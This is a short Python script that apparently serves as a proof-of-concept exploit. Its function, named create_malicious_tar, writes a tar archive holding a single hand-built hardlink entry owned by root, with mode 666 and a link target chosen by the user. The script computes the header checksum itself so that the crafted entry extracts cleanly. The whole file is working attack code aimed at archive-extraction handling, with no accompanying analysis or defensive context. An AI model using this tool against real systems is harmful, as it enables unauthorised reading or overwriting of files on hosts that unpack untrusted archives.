import os
import time
import sys
from struct import pack

def create_malicious_tar(output_file: str, link_name: str, target_path: str):
    """
    Creates a tar file containing a symbolic link with proper header checksum
    Args:
        output_file: Path to output .tar file
        link_name:   Name of the link
        target_path: Target path
    """
    
    target_path = target_path.strip("'")
    # Validate input lengths
    if len(link_name) > 100:
        raise ValueError("Link name too long (max 100 bytes)")
    if len(target_path) > 100:
        raise ValueError("Target path too long (max 100 bytes)")

    # Create 512-byte header filled with nulls
    header = bytearray(512)

    # Helper function to write fields
    def write_field(offset: int, data: bytes, length: int):
        header[offset:offset+length] = data.ljust(length, b'\x00')[:length]

    # --- Header Fields ---
    # Filename (100 bytes)
    write_field(0, link_name.encode(), 100)
    
    # Mode (666 octal, 8 bytes)
    write_field(100, b'0000666', 8)
    
    # UID/GID (root, 8 bytes each)
    write_field(108, b'0000000', 8)  # UID
    write_field(116, b'0000000', 8)  # GID
    
    # Size (0 for symlinks, 12 bytes)
    write_field(124, b'00000000000', 12)
    
    # Modification time (current time, 12 bytes octal)
    mtime = oct(int(time.time()))[2:].encode()
    write_field(136, mtime, 12)
    
    # Typeflag (hardlink = '1', 1 byte)
    write_field(156, b'1', 1)
    
    # Linkname (target path, 100 bytes)
    write_field(157, target_path.encode(), 100)
    
    # Magic + Version (8 bytes)
    write_field(257, b'ustar\x0000', 8)
    
    # --- Checksum Calculation ---
    # 1. Replace checksum field with spaces (8 bytes)
    header[148:156] = b' ' * 8
    
    # 2. Calculate sum of all bytes
    chksum = sum(header)
    
    # 3. Format as 6-digit octal with leading zero
    chksum_str = oct(chksum)[2:].zfill(6).encode()
    
    # 4. Write checksum field (format: "000000\x00 ")
    write_field(148, chksum_str, 6)
    header[154:156] = b'\x00 '  # Null terminator + space
    
    # Write to file
    with open(output_file, 'wb') as f:
        f.write(header)
        # Tar files need 1024 zero bytes after header (two empty blocks)
        f.write(b'\x00' * 1024)

if __name__ == '__main__':
    try:
        if len(sys.argv) != 4:
            print(f"Usage: {sys.argv[0]} <linkname> <sharepath> <tarname>")
            sys.exit(1)
            
        link_name = sys.argv[1]
        target_path = sys.argv[2]
        output_file = sys.argv[3]

        create_malicious_tar(
            output_file=output_file,
            link_name=link_name,
            target_path=target_path
        )
        print(f"Successfully created {output_file} with:")
        print(f"Link name: {link_name}")
        print(f"Target path: {target_path}")

    except Exception as e:
        print(f"Error: {e}")
        sys.exit(1)
